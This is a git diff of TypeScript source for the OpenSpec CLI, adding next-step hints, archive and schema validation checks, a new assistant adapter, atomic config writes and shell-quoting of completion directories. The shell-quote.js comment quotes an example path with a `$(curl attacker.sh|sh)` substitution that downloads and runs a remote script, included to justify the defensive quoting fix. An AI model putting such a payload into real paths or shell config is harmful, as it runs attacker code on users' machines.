|
||||
spinner?.stop();
|
||||
throw error;
|
||||
}
|
||||
}
|
||||
|
||||
export function printStatusText(status: ChangeStatus): void {
|
||||
export interface PrintStatusTextOptions {
|
||||
/** Selected store id, so the printed command carries `--store`. */
|
||||
storeId?: string;
|
||||
}
|
||||
|
||||
export function printStatusText(status: ChangeStatus, options: PrintStatusTextOptions = {}): void {
|
||||
const doneCount = status.artifacts.filter((a) => a.status === 'done').length;
|
||||
const skippedCount = status.artifacts.filter((a) => a.status === 'skipped').length;
|
||||
const total = status.artifacts.length - skippedCount;
|
||||
@@ -232,8 +265,26 @@ export function printStatusText(status: ChangeStatus): void {
|
||||
console.log(line);
|
||||
}
|
||||
|
||||
if (status.isPlanningComplete) {
|
||||
// Derived from the same inputs as the JSON `nextSteps` sentence, so the two
|
||||
// surfaces always name the same command. Without this line the text surface
|
||||
// reports state and no verb, which leaves someone resuming a change - after a
|
||||
// lost session, or on a change they did not start - with nowhere to go.
|
||||
const nextStep = resolveNextStep({
|
||||
changeName: status.changeName,
|
||||
artifactStatuses: status.artifacts,
|
||||
allArtifactsComplete: status.isPlanningComplete,
|
||||
...(options.storeId ? { storeId: options.storeId } : {}),
|
||||
});
|
||||
|
||||
if (status.isPlanningComplete || nextStep) {
|
||||
console.log();
|
||||
}
|
||||
|
||||
if (status.isPlanningComplete) {
|
||||
console.log(chalk.green('All planning artifacts complete!'));
|
||||
}
|
||||
|
||||
if (nextStep) {
|
||||
console.log(`Next: ${nextStep.command}`);
|
||||
}
|
||||
}
|
||||
|
||||
+25
-1
@@ -23,11 +23,15 @@ import {
|
||||
finalizeRetiredSpec,
|
||||
type SpecUpdate,
|
||||
} from './specs-apply.js';
|
||||
import { discoverSpecFiles, hasAnyFileUnder } from '../utils/spec-discovery.js';
|
||||
import { discoverSpecFiles, findUnreadDeltaFiles, hasAnyFileUnder } from '../utils/spec-discovery.js';
|
||||
import { METADATA_FILENAME, readRetireCapabilitiesMarker, readSkipSpecsMarker } from '../utils/change-metadata.js';
|
||||
import { confirmPrompt, isNonInteractivePromptError } from '../utils/interactive.js';
|
||||
import { FileSystemUtils } from '../utils/file-system.js';
|
||||
import { folderStyleNameProblem } from './id.js';
|
||||
import {
|
||||
describeNestedChange,
|
||||
findNestedChangesIn,
|
||||
} from '../utils/nested-change.js';
|
||||
|
||||
function isMissingPathError(error: unknown): boolean {
|
||||
return (
|
||||
@@ -1177,6 +1181,19 @@ export class ArchiveCommand {
|
||||
);
|
||||
}
|
||||
|
||||
// Archiving a namespace folder moves an active, unfinished change into the
|
||||
// archive under a name nobody will look for, and never applies its deltas.
|
||||
// That is silent data loss, so it is refused outright rather than warned
|
||||
// about (#1846).
|
||||
const nested = await findNestedChangesIn(changesDir, changeName);
|
||||
if (nested) {
|
||||
throw new ArchiveBlockedError(
|
||||
'archive_change_is_namespace_folder',
|
||||
`Cannot archive '${changeName}': ${describeNestedChange(nested)}`,
|
||||
`Rename openspec/changes/${nested.nested[0]}/ to a flat change directory, then archive it.`
|
||||
);
|
||||
}
|
||||
|
||||
const skipValidation = options.validate === false || options.noValidate === true;
|
||||
|
||||
// Validate specs and change before archiving
|
||||
@@ -1225,6 +1242,13 @@ export class ArchiveCommand {
|
||||
// folder, so only a regular file counts.
|
||||
const rootSpecStat = await fs.stat(path.join(changeSpecsDir, 'spec.md')).catch(() => null);
|
||||
let hasDeltaSpecs = rootSpecStat?.isFile() === true;
|
||||
// Likewise for delta sections in any other file the merge path does not
|
||||
// read (specs/<capability>.md, a note beside spec.md): without this the
|
||||
// zero-delta leniency below archives the change as done with nothing
|
||||
// merged, although validate rejects it.
|
||||
if (!hasDeltaSpecs) {
|
||||
hasDeltaSpecs = (await findUnreadDeltaFiles(changeSpecsDir)).length > 0;
|
||||
}
|
||||
// A change that declares skip_specs must not carry any file under
|
||||
// specs/ — validate reports that as a conflict, so archive has to run
|
||||
// the same check instead of skipping validation because the files
|
||||
|
||||
@@ -38,6 +38,9 @@ export function parseSchema(yamlContent: string): SchemaYaml {
|
||||
// Check that all requires references are valid
|
||||
validateRequiresReferences(schema.artifacts);
|
||||
|
||||
// Check that the apply phase names artifacts this schema declares
|
||||
validateApplyReferences(schema);
|
||||
|
||||
// Check for cycles
|
||||
validateNoCycles(schema.artifacts);
|
||||
|
||||
@@ -74,6 +77,61 @@ function validateRequiresReferences(artifacts: Artifact[]): void {
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates that every `apply.requires` id is an artifact the schema declares.
|
||||
*
|
||||
* Apply skips an id that no artifact declares, so a typo silently dropped that
|
||||
* artifact from the apply gate. An unknown artifact `requires` is already a
|
||||
* load error, and this is the same kind of reference.
|
||||
*
|
||||
* `apply.tracks` is deliberately not checked here. It is a path, not an id:
|
||||
* apply reads it as written, so a schema whose `tracks` value does not exactly
|
||||
* match any `generates` value (a hand-written `TODO.md`, or `tasks/main.md`
|
||||
* under a glob `generates: tasks/*.md` that really does produce it) works
|
||||
* today, and failing the load would break every command on it.
|
||||
* `openspec schema validate` reports that case as a warning instead
|
||||
* (see `findApplyTracksWarning`).
|
||||
*/
|
||||
function validateApplyReferences(schema: SchemaYaml): void {
|
||||
const apply = schema.apply;
|
||||
if (!apply) return;
|
||||
|
||||
const validIds = schema.artifacts.map(a => a.id);
|
||||
for (const req of apply.requires) {
|
||||
if (!validIds.includes(req)) {
|
||||
throw new SchemaValidationError(
|
||||
`Invalid apply.requires reference: '${req}' does not exist (artifacts: ${validIds.join(', ')})`
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Describes an `apply.tracks` value that is not exactly equal to any artifact's
|
||||
* `generates` value, or returns undefined when there is nothing to report.
|
||||
*
|
||||
* The tracked-tasks lookups select the artifact whose `generates` string equals
|
||||
* `tracks`, so this is a progress-discovery problem, not a claim that nothing
|
||||
* produces the file: a glob `generates: tasks/*.md` really does generate
|
||||
* `tracks: tasks/main.md`, yet the strings differ, so the lookup still misses.
|
||||
* Either way apply keeps working (it reads the path directly), but `openspec
|
||||
* list` and `openspec status` fall back to counting the top-level `tasks.md`,
|
||||
* and apply's remedy cannot name an artifact to build. A typo such as
|
||||
* `task.md` is the other usual cause.
|
||||
*/
|
||||
export function findApplyTracksWarning(schema: SchemaYaml): string | undefined {
|
||||
const tracks = schema.apply?.tracks;
|
||||
if (tracks == null || schema.artifacts.some(a => a.generates === tracks)) return undefined;
|
||||
return (
|
||||
`apply.tracks '${tracks}' does not exactly match any artifact's generates value ` +
|
||||
`(generates: ${schema.artifacts.map(a => a.generates).join(', ')}), ` +
|
||||
`so OpenSpec cannot tell which artifact's progress it tracks. ` +
|
||||
`Apply still reads that file as written, but list and status count tasks.md instead. ` +
|
||||
`Make apply.tracks exactly equal one of those generates values, ` +
|
||||
`or confirm that file is maintained outside the artifact graph.`
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates that there are no cyclic dependencies.
|
||||
* Uses DFS to detect cycles and reports the full cycle path.
|
||||
|
||||
@@ -22,6 +22,10 @@ function relativePathSchema(fieldName: string) {
|
||||
}
|
||||
|
||||
// Artifact definition schema
|
||||
// Upper bound on artifacts in one schema. Keeps `validateNoCycles`' recursive
|
||||
// DFS well inside the stack limit for any accepted input.
|
||||
const MAX_ARTIFACTS = 1000;
|
||||
|
||||
export const ArtifactSchema = z.object({
|
||||
id: z.string().min(1, { error: 'Artifact ID is required' }),
|
||||
generates: relativePathSchema('generates field'),
|
||||
@@ -46,7 +50,15 @@ export const SchemaYamlSchema = z.object({
|
||||
name: z.string().min(1, { error: 'Schema name is required' }),
|
||||
version: z.number().int().positive({ error: 'Version must be a positive integer' }),
|
||||
description: z.string().optional(),
|
||||
artifacts: z.array(ArtifactSchema).min(1, { error: 'At least one artifact required' }),
|
||||
artifacts: z
|
||||
.array(ArtifactSchema)
|
||||
.min(1, { error: 'At least one artifact required' })
|
||||
// Bounded so a hostile schema cannot drive the cycle-detection DFS past the
|
||||
// V8 stack limit and crash with an uncaught RangeError instead of a
|
||||
// validation error.
|
||||
.max(MAX_ARTIFACTS, {
|
||||
error: `A schema may declare at most ${MAX_ARTIFACTS} artifacts`,
|
||||
}),
|
||||
// Optional apply phase configuration (for schema-aware apply instructions)
|
||||
apply: ApplyPhaseSchema.optional(),
|
||||
});
|
||||
|
||||
@@ -62,20 +62,41 @@ export function buildActionContext(input: ActionContextInput): ActionContext {
|
||||
};
|
||||
}
|
||||
|
||||
export function buildNextSteps(input: ChangeNextStepsInput): string[] {
|
||||
/**
|
||||
* The one next action for a change, in both the forms the CLI needs.
|
||||
*
|
||||
* `sentence` is what the JSON `nextSteps` contract publishes; `command` is the
|
||||
* bare command the text surface prints. Both are built here so the two
|
||||
* surfaces can never name a different next step.
|
||||
*/
|
||||
export interface ChangeNextStep {
|
||||
/** Ready-to-run command, including any `--store` flag. */
|
||||
command: string;
|
||||
/** Sentence form carried by the JSON `nextSteps` array. */
|
||||
sentence: string;
|
||||
}
|
||||
|
||||
export function resolveNextStep(input: ChangeNextStepsInput): ChangeNextStep | undefined {
|
||||
const readyArtifact = input.artifactStatuses.find((artifact) => artifact.status === 'ready');
|
||||
const steps: string[] = [];
|
||||
const storeFlag = input.storeId ? ` --store ${input.storeId}` : '';
|
||||
|
||||
if (readyArtifact) {
|
||||
steps.push(
|
||||
`Run openspec instructions ${readyArtifact.id} --change "${input.changeName}"${storeFlag} --json before writing that artifact.`
|
||||
);
|
||||
} else if (input.allArtifactsComplete) {
|
||||
steps.push(
|
||||
`All planning artifacts are complete. Run openspec instructions apply --change "${input.changeName}"${storeFlag} --json to inspect implementation progress.`
|
||||
);
|
||||
const command = `openspec instructions ${readyArtifact.id} --change "${input.changeName}"${storeFlag} --json`;
|
||||
return { command, sentence: `Run ${command} before writing that artifact.` };
|
||||
}
|
||||
|
||||
return steps;
|
||||
if (input.allArtifactsComplete) {
|
||||
const command = `openspec instructions apply --change "${input.changeName}"${storeFlag} --json`;
|
||||
return {
|
||||
command,
|
||||
sentence: `All planning artifacts are complete. Run ${command} to inspect implementation progress.`,
|
||||
};
|
||||
}
|
||||
|
||||
return undefined;
|
||||
}
|
||||
|
||||
export function buildNextSteps(input: ChangeNextStepsInput): string[] {
|
||||
const step = resolveNextStep(input);
|
||||
return step ? [step.sentence] : [];
|
||||
}
|
||||
|
||||
@@ -0,0 +1,33 @@
|
||||
/**
|
||||
* SourceCraft Code Assistant Command Adapter
|
||||
*
|
||||
* Formats commands for the SourceCraft Code Assistant VS Code extension.
|
||||
*
|
||||
* @see https://sourcecraft.dev/portal/docs/en/code-assistant/operations/agent/slash-commands
|
||||
*/
|
||||
|
||||
import path from 'path';
|
||||
import type { CommandContent, ToolCommandAdapter } from '../types.js';
|
||||
import { escapeYamlValue } from '../yaml.js';
|
||||
|
||||
/**
|
||||
* SourceCraft Code Assistant adapter for command generation.
|
||||
* File path: .codeassistant/commands/opsx-<id>.md
|
||||
* Format: YAML frontmatter with description
|
||||
*/
|
||||
export const codeassistantAdapter: ToolCommandAdapter = {
|
||||
toolId: 'codeassistant',
|
||||
|
||||
getFilePath(commandId: string): string {
|
||||
return path.join('.codeassistant', 'commands', `opsx-${commandId}.md`);
|
||||
},
|
||||
|
||||
formatFile(content: CommandContent): string {
|
||||
return `---
|
||||
description: ${escapeYamlValue(content.description)}
|
||||
---
|
||||
|
||||
${content.body}
|
||||
`;
|
||||
},
|
||||
};
|
||||
@@ -27,6 +27,7 @@ export { kiroAdapter } from './kiro.js';
|
||||
export { ohMyPiAdapter } from './oh-my-pi.js';
|
||||
export { opencodeAdapter } from './opencode.js';
|
||||
export { piAdapter } from './pi.js';
|
||||
export { codeassistantAdapter } from './codeassistant.js';
|
||||
export { qoderAdapter } from './qoder.js';
|
||||
export { lingmaAdapter } from './lingma.js';
|
||||
export { qwenAdapter } from './qwen.js';
|
||||
|
||||
@@ -7,6 +7,7 @@
|
||||
import type { CommandContent, ToolCommandAdapter, GeneratedCommand } from './types.js';
|
||||
import { getInvocationForAdapter, needsInvocationRewrite } from './invocation.js';
|
||||
import { transformCommandInvocations } from '../../utils/command-references.js';
|
||||
import { assertWorkflowConditionalsResolved } from '../templates/optional-workflow.js';
|
||||
|
||||
/**
|
||||
* Generate a single command file using the provided adapter.
|
||||
@@ -26,6 +27,11 @@ export function generateCommand(
|
||||
content: CommandContent,
|
||||
adapter: ToolCommandAdapter
|
||||
): GeneratedCommand {
|
||||
assertWorkflowConditionalsResolved(
|
||||
content.body,
|
||||
`Command '${content.id}' was generated without resolving its optional-workflow blocks`
|
||||
);
|
||||
|
||||
const invocation = getInvocationForAdapter(adapter);
|
||||
const formatted = needsInvocationRewrite(invocation)
|
||||
? { ...content, body: transformCommandInvocations(content.body, invocation) }
|
||||
|
||||
@@ -29,6 +29,7 @@ import { kiroAdapter } from './adapters/kiro.js';
|
||||
import { ohMyPiAdapter } from './adapters/oh-my-pi.js';
|
||||
import { opencodeAdapter } from './adapters/opencode.js';
|
||||
import { piAdapter } from './adapters/pi.js';
|
||||
import { codeassistantAdapter } from './adapters/codeassistant.js';
|
||||
import { qoderAdapter } from './adapters/qoder.js';
|
||||
import { lingmaAdapter } from './adapters/lingma.js';
|
||||
import { qwenAdapter } from './adapters/qwen.js';
|
||||
@@ -67,6 +68,7 @@ export class CommandAdapterRegistry {
|
||||
CommandAdapterRegistry.register(ohMyPiAdapter);
|
||||
CommandAdapterRegistry.register(opencodeAdapter);
|
||||
CommandAdapterRegistry.register(piAdapter);
|
||||
CommandAdapterRegistry.register(codeassistantAdapter);
|
||||
CommandAdapterRegistry.register(qoderAdapter);
|
||||
CommandAdapterRegistry.register(lingmaAdapter);
|
||||
CommandAdapterRegistry.register(qwenAdapter);
|
||||
|
||||
@@ -18,8 +18,8 @@
|
||||
* non-TTY runs, which are deferred rather than consumed (see `silent`)
|
||||
*/
|
||||
import * as fs from 'node:fs';
|
||||
import * as path from 'node:path';
|
||||
import { getGlobalConfigPath } from './global-config.js';
|
||||
import { writeFileAtomically } from './file-state.js';
|
||||
import { isCiEnvironment } from '../utils/ci.js';
|
||||
import { detectShell } from '../utils/shell-detection.js';
|
||||
import { CompletionFactory } from './completions/factory.js';
|
||||
@@ -109,18 +109,17 @@ function readRawConfig(): Record<string, unknown> | null {
|
||||
* write down to this one key, and the rename keeps a reader from ever seeing a
|
||||
* half-written config.
|
||||
*/
|
||||
function markTipSeen(): void {
|
||||
async function markTipSeen(): Promise<void> {
|
||||
const configPath = getGlobalConfigPath();
|
||||
const current = readRawConfig() ?? {};
|
||||
const tempPath = `${configPath}.${process.pid}.tmp`;
|
||||
|
||||
fs.mkdirSync(path.dirname(configPath), { recursive: true });
|
||||
fs.writeFileSync(
|
||||
tempPath,
|
||||
JSON.stringify({ ...current, completionTipSeen: true }, null, 2) + '\n',
|
||||
'utf-8'
|
||||
// The shared atomic writer: randomized temp name, owner-only mode, temp file
|
||||
// removed on failure. A predictable `<config>.<pid>.tmp` at the default mode
|
||||
// is both guessable and world-readable once renamed over the config.
|
||||
await writeFileAtomically(
|
||||
configPath,
|
||||
JSON.stringify({ ...current, completionTipSeen: true }, null, 2) + '\n'
|
||||
);
|
||||
fs.renameSync(tempPath, configPath);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -148,7 +147,7 @@ export async function maybeShowCompletionTip(
|
||||
|
||||
// Record before printing: if the flag cannot be persisted, staying quiet
|
||||
// beats reprinting the tip on every future run.
|
||||
markTipSeen();
|
||||
await markTipSeen();
|
||||
if (decision === 'show') {
|
||||
console.error(`\n${COMPLETION_TIP_MESSAGE}`);
|
||||
}
|
||||
|
||||
@@ -107,6 +107,12 @@ export const COMMAND_REGISTRY: CommandDefinition[] = [
|
||||
name: 'archived',
|
||||
description: 'Validate that archived changes have all tasks completed (for pre-commit linting)',
|
||||
},
|
||||
{
|
||||
name: 'report',
|
||||
description: 'Select bulk report content',
|
||||
takesValue: true,
|
||||
values: ['full', 'findings'],
|
||||
},
|
||||
COMMON_FLAGS.type,
|
||||
COMMON_FLAGS.strict,
|
||||
COMMON_FLAGS.jsonValidation,
|
||||
|
||||
@@ -3,6 +3,7 @@ import path from 'path';
|
||||
import os from 'os';
|
||||
import { FileSystemUtils } from '../../../utils/file-system.js';
|
||||
import { InstallationResult } from '../factory.js';
|
||||
import { shellSingleQuote } from './shell-quote.js';
|
||||
|
||||
/**
|
||||
* Installer for Bash completion scripts.
|
||||
@@ -115,10 +116,11 @@ export class BashInstaller {
|
||||
* @returns Configuration content
|
||||
*/
|
||||
private generateBashrcConfig(completionsDir: string): string {
|
||||
const quotedDir = shellSingleQuote(completionsDir);
|
||||
return [
|
||||
'# OpenSpec shell completions configuration',
|
||||
`if [ -d "${completionsDir}" ]; then`,
|
||||
` for f in "${completionsDir}"/*; do`,
|
||||
`if [ -d ${quotedDir} ]; then`,
|
||||
` for f in ${quotedDir}/*; do`,
|
||||
' [ -f "$f" ] && . "$f"',
|
||||
' done',
|
||||
'fi',
|
||||
@@ -203,9 +205,11 @@ export class BashInstaller {
|
||||
// Remove lines between markers (inclusive)
|
||||
lines.splice(startIndex, endIndex - startIndex + 1);
|
||||
|
||||
// Remove trailing empty lines
|
||||
while (lines.length > 0 && lines[lines.length - 1].trim() === '') {
|
||||
lines.pop();
|
||||
// Install puts the block at the top of the file followed by one blank
|
||||
// separator line; drop that line too so the file reads as it did before.
|
||||
// Everything else, including the file's final newline, is left as is.
|
||||
if (startIndex === 0 && lines.length > 0 && lines[0].trim() === '') {
|
||||
lines.shift();
|
||||
}
|
||||
|
||||
// Write back
|
||||
@@ -328,14 +332,19 @@ export class BashInstaller {
|
||||
private generateInstructions(installedPath: string): string[] {
|
||||
const completionsDir = path.dirname(installedPath);
|
||||
|
||||
// Quoted exactly like the auto-configured block: these lines are printed
|
||||
// for the user to paste into their own rc file, so an expansion left in
|
||||
// them runs on every future shell start.
|
||||
const quotedDir = shellSingleQuote(completionsDir);
|
||||
|
||||
return [
|
||||
'Completion script installed successfully.',
|
||||
'',
|
||||
'To enable completions, add the following to your ~/.bashrc file:',
|
||||
'',
|
||||
` # Source OpenSpec completions`,
|
||||
` if [ -d "${completionsDir}" ]; then`,
|
||||
` for f in "${completionsDir}"/*; do`,
|
||||
` if [ -d ${quotedDir} ]; then`,
|
||||
` for f in ${quotedDir}/*; do`,
|
||||
' [ -f "$f" ] && . "$f"',
|
||||
' done',
|
||||
' fi',
|
||||
|
||||
@@ -0,0 +1,12 @@
|
||||
/**
|
||||
* Quote a path as a POSIX shell single-quoted literal.
|
||||
*
|
||||
* Completion directories are derived from XDG_DATA_HOME / HOME, which are never
|
||||
* escaped. Interpolated into a double-quoted rc line, a value like
|
||||
* `/tmp/x$(curl attacker.sh|sh)` would run on every new shell; single quotes
|
||||
* suppress every expansion, and the `'\''` dance closes, escapes, and reopens
|
||||
* the quote around any literal apostrophe.
|
||||
*/
|
||||
export function shellSingleQuote(value: string): string {
|
||||
return `'${value.replace(/'/g, `'\\''`)}'`;
|
||||
}
|
||||
@@ -3,6 +3,7 @@ import path from 'path';
|
||||
import os from 'os';
|
||||
import { FileSystemUtils } from '../../../utils/file-system.js';
|
||||
import { InstallationResult } from '../factory.js';
|
||||
import { shellSingleQuote } from './shell-quote.js';
|
||||
|
||||
/**
|
||||
* Installer for Zsh completion scripts.
|
||||
@@ -119,7 +120,7 @@ export class ZshInstaller {
|
||||
private generateZshrcConfig(completionsDir: string): string {
|
||||
return [
|
||||
'# OpenSpec shell completions configuration',
|
||||
`fpath=("${completionsDir}" $fpath)`,
|
||||
`fpath=(${shellSingleQuote(completionsDir)} $fpath)`,
|
||||
'autoload -Uz compinit',
|
||||
'compinit',
|
||||
].join('\n');
|
||||
@@ -377,7 +378,7 @@ export class ZshInstaller {
|
||||
'To enable completions, add the following to your ~/.zshrc file:',
|
||||
'',
|
||||
` # Add completions directory to fpath`,
|
||||
` fpath=(${completionsDir} $fpath)`,
|
||||
` fpath=(${shellSingleQuote(completionsDir)} $fpath)`,
|
||||
'',
|
||||
' # Initialize completion system',
|
||||
' autoload -Uz compinit',
|
||||
|
||||
+31
-1
@@ -33,6 +33,7 @@ export interface AIToolOption {
|
||||
legacySkillsDirs?: string[]; // Former roots read for detection and migrated after replacement
|
||||
globalSkillsDir?: string; // e.g., '.minimax' - /skills suffix, resolved from the user's home directory
|
||||
detectionPaths?: string[]; // Override skillsDir for auto-detection; any path existing triggers detection
|
||||
searchAliases?: string[]; // Extra single-word terms the init tool picker matches; never displayed
|
||||
setupNote?: string; // Manual setup required before the tool picks up generated files; shown after init/update
|
||||
requiresIdeRestart?: boolean; // True when slash commands are loaded by an IDE/editor process (a CLI picks them up immediately, so no restart hint — see #1067)
|
||||
}
|
||||
@@ -74,6 +75,7 @@ export const AI_TOOLS: AIToolOption[] = [
|
||||
{ name: 'Oh My Pi', value: 'oh-my-pi', available: true, successLabel: 'Oh My Pi', skillsDir: '.omp' },
|
||||
{ name: 'OpenCode', value: 'opencode', available: true, successLabel: 'OpenCode', skillsDir: '.opencode' },
|
||||
{ name: 'Pi', value: 'pi', available: true, successLabel: 'Pi', skillsDir: '.pi' },
|
||||
{ name: 'SourceCraft Code Assistant', value: 'codeassistant', available: true, successLabel: 'SourceCraft Code Assistant', skillsDir: '.codeassistant' },
|
||||
{ name: 'Qoder', value: 'qoder', available: true, successLabel: 'Qoder', skillsDir: '.qoder', requiresIdeRestart: true },
|
||||
{ name: 'Qwen Code', value: 'qwen', available: true, successLabel: 'Qwen Code', skillsDir: '.qwen' },
|
||||
{ name: 'Rovo Dev CLI', value: 'rovodev', available: true, successLabel: 'Rovo Dev CLI', skillsDir: '.rovodev', detectionPaths: ['.rovodev/skills', '.rovodev'] },
|
||||
@@ -87,9 +89,37 @@ export const AI_TOOLS: AIToolOption[] = [
|
||||
// A project that does keep skills there is a project this target fits, the same
|
||||
// way `.claude/` selects Claude Code — the signal is the user's setup, not
|
||||
// OpenSpec's own files.
|
||||
{ name: 'Shared .agents skills', value: 'agents', available: true, successLabel: 'shared .agents skills', skillsDir: '.agents', detectionPaths: ['.agents/skills'] }
|
||||
// The picker is searchable, so this entry also answers to the words someone
|
||||
// whose assistant is not on the list actually types (#653) — it is named for
|
||||
// a directory, which none of them would guess. Aliases are single words: the
|
||||
// space bar toggles a selection rather than typing into the search box.
|
||||
{ name: 'Other / Universal (shared .agents skills)', value: 'agents', available: true, successLabel: 'shared .agents skills', skillsDir: '.agents', detectionPaths: ['.agents/skills'], searchAliases: ['universal', 'other', 'generic', 'custom', 'proprietary', 'unlisted', 'unsupported', 'vendor-neutral', 'agents.md'] }
|
||||
];
|
||||
|
||||
/**
|
||||
* The vendor-neutral target every assistant that is not listed above can use.
|
||||
* Named wherever a tool lookup comes up empty, so "my tool isn't here" is never
|
||||
* a dead end (#653).
|
||||
*/
|
||||
export const UNIVERSAL_TOOL_ID = 'agents';
|
||||
|
||||
/** The universal target's entry, or undefined if it was removed from AI_TOOLS. */
|
||||
export function getUniversalTool(): AIToolOption | undefined {
|
||||
return AI_TOOLS.find((tool) => tool.value === UNIVERSAL_TOOL_ID);
|
||||
}
|
||||
|
||||
/**
|
||||
* One-line pointer at the universal target for non-interactive errors, the
|
||||
* scripted counterpart of the picker's empty-search hint. Undefined when the
|
||||
* target is not among the tools on offer, so the hint never names a choice the
|
||||
* caller cannot make.
|
||||
*/
|
||||
export function universalToolFallbackHint(offeredToolIds: string[]): string | undefined {
|
||||
const universal = getUniversalTool();
|
||||
if (!universal || !offeredToolIds.includes(universal.value)) return undefined;
|
||||
return `Tool not listed? Use --tools ${universal.value}: the vendor-neutral target that writes ${universal.skillsDir}/skills/ for any assistant.`;
|
||||
}
|
||||
|
||||
/**
|
||||
* Retired tool ids that still resolve, so a rebrand does not break scripted
|
||||
* `--tools` invocations. Windsurf was rebranded to Devin Desktop on
|
||||
|
||||
@@ -129,6 +129,10 @@ export function getGlobalConfigPath(): string {
|
||||
return path.join(getGlobalConfigDir(), GLOBAL_CONFIG_FILE_NAME);
|
||||
}
|
||||
|
||||
// Config paths already warned about. One command reads the config several
|
||||
// times (telemetry, the update check, the command itself); warn once.
|
||||
const warnedInvalidJsonPaths = new Set<string>();
|
||||
|
||||
/**
|
||||
* Loads the global configuration from disk.
|
||||
* Returns default configuration if file doesn't exist or is invalid.
|
||||
@@ -145,6 +149,14 @@ export function getGlobalConfig(): GlobalConfig {
|
||||
const content = fs.readFileSync(configPath, 'utf-8');
|
||||
const parsed = JSON.parse(content);
|
||||
|
||||
// A root that is not a plain object carries no settings, and spreading it
|
||||
// would leak its shape into the result: a string contributes numeric
|
||||
// character keys. Answer with plain defaults, as for a file that did not
|
||||
// parse at all. Same predicate the writers refuse to save over.
|
||||
if (!isConfigRootObject(parsed)) {
|
||||
return { ...DEFAULT_CONFIG };
|
||||
}
|
||||
|
||||
// Merge with defaults (loaded values take precedence)
|
||||
const merged: GlobalConfig = {
|
||||
...DEFAULT_CONFIG,
|
||||
@@ -167,7 +179,8 @@ export function getGlobalConfig(): GlobalConfig {
|
||||
return merged;
|
||||
} catch (error) {
|
||||
// Log warning for parse errors, but not for missing files
|
||||
if (error instanceof SyntaxError) {
|
||||
if (error instanceof SyntaxError && !warnedInvalidJsonPaths.has(configPath)) {
|
||||
warnedInvalidJsonPaths.add(configPath);
|
||||
console.error(`Warning: Invalid JSON in ${configPath}, using defaults`);
|
||||
}
|
||||
return { ...DEFAULT_CONFIG };
|
||||
@@ -175,13 +188,67 @@ export function getGlobalConfig(): GlobalConfig {
|
||||
}
|
||||
|
||||
/**
|
||||
* Saves the global configuration to disk.
|
||||
* Creates the config directory if it doesn't exist.
|
||||
* Whether a parsed JSON root can serve as a global config object.
|
||||
*
|
||||
* Valid JSON that is not a plain object (`null`, an array, a string, a number,
|
||||
* a boolean) still reads as defaults, so it is just as unsafe to save over as
|
||||
* a file that did not parse at all. Every reader and writer of the global
|
||||
* config shares this one predicate so they cannot drift apart.
|
||||
*/
|
||||
export function saveGlobalConfig(config: GlobalConfig): void {
|
||||
export function isConfigRootObject(parsed: unknown): boolean {
|
||||
return typeof parsed === 'object' && parsed !== null && !Array.isArray(parsed);
|
||||
}
|
||||
|
||||
/**
|
||||
* The one-line, actionable refusal every global-config writer reports when it
|
||||
* declines to overwrite a file it could not read.
|
||||
*/
|
||||
export function unreadableGlobalConfigMessage(configPath: string): string {
|
||||
return (
|
||||
`Refusing to overwrite ${configPath}: it could not be parsed, so saving would replace every setting in it. ` +
|
||||
'Fix it with "openspec config edit", or reset it with "openspec config reset --all".'
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Whether the global config file exists but cannot be read or parsed.
|
||||
*
|
||||
* getGlobalConfig() answers with defaults for such a file so that reads keep
|
||||
* working, but those defaults are not the user's settings: saving them back
|
||||
* would erase everything the file holds, and the file may contain an opt-out
|
||||
* such as `telemetry.enabled: false` that the defaults do not.
|
||||
*/
|
||||
export function isGlobalConfigUnreadable(): boolean {
|
||||
const configPath = getGlobalConfigPath();
|
||||
if (!fs.existsSync(configPath)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
try {
|
||||
return !isConfigRootObject(JSON.parse(fs.readFileSync(configPath, 'utf-8')));
|
||||
} catch {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
export interface SaveGlobalConfigOptions {
|
||||
/** Overwrite a config file that cannot be parsed. Only a reset should. */
|
||||
replaceUnreadable?: boolean;
|
||||
}
|
||||
|
||||
/**
|
||||
* Saves the global configuration to disk.
|
||||
* Creates the config directory if it doesn't exist. Refuses to overwrite an
|
||||
* existing file it cannot parse unless `replaceUnreadable` is set.
|
||||
*/
|
||||
export function saveGlobalConfig(config: GlobalConfig, options: SaveGlobalConfigOptions = {}): void {
|
||||
const configDir = getGlobalConfigDir();
|
||||
const configPath = getGlobalConfigPath();
|
||||
|
||||
if (!options.replaceUnreadable && isGlobalConfigUnreadable()) {
|
||||
throw new Error(unreadableGlobalConfigMessage(configPath));
|
||||
}
|
||||
|
||||
// Create directory if it doesn't exist
|
||||
if (!fs.existsSync(configDir)) {
|
||||
fs.mkdirSync(configDir, { recursive: true });
|
||||
|
||||
+67
-51
@@ -18,9 +18,12 @@ import {
|
||||
storePointerProblem,
|
||||
} from './project-config.js';
|
||||
import { findRepoPlanningRootSync } from './planning-home.js';
|
||||
import { ANCHORED_OPENSPEC_DIRS, ensureDirectoryAnchor } from './openspec-root.js';
|
||||
import { getSkillReferenceTransformer, getTransformerForTool, usesNaturalLanguageSkillReferences } from '../utils/command-references.js';
|
||||
import {
|
||||
AI_TOOLS,
|
||||
getUniversalTool,
|
||||
universalToolFallbackHint,
|
||||
OPENSPEC_DIR_NAME,
|
||||
AIToolOption,
|
||||
resolveToolIdAlias,
|
||||
@@ -55,10 +58,12 @@ import {
|
||||
resolveToolSkillsDir,
|
||||
toolSupportsSkills,
|
||||
type ToolSkillStatus,
|
||||
formatIdeRestart,
|
||||
} from './shared/index.js';
|
||||
import { getGlobalConfig, type Delivery, type Profile } from './global-config.js';
|
||||
import { getProfileWorkflows, CORE_WORKFLOWS, ALL_WORKFLOWS } from './profiles.js';
|
||||
import { getAvailableTools } from './available-tools.js';
|
||||
import { formatOptionalWorkflowsNote } from './onboarding-commands.js';
|
||||
import {
|
||||
resolveSharedSkillWriters,
|
||||
sharedSkillRootOwner,
|
||||
@@ -148,7 +153,6 @@ type ValidatedInitTool = {
|
||||
skillsRoot: string;
|
||||
isGlobalSkillTarget: boolean;
|
||||
wasConfigured: boolean;
|
||||
requiresIdeRestart?: boolean;
|
||||
writesSkills: boolean;
|
||||
};
|
||||
|
||||
@@ -630,8 +634,9 @@ export class InitCommand {
|
||||
if (detectedToolIds.size > 0) {
|
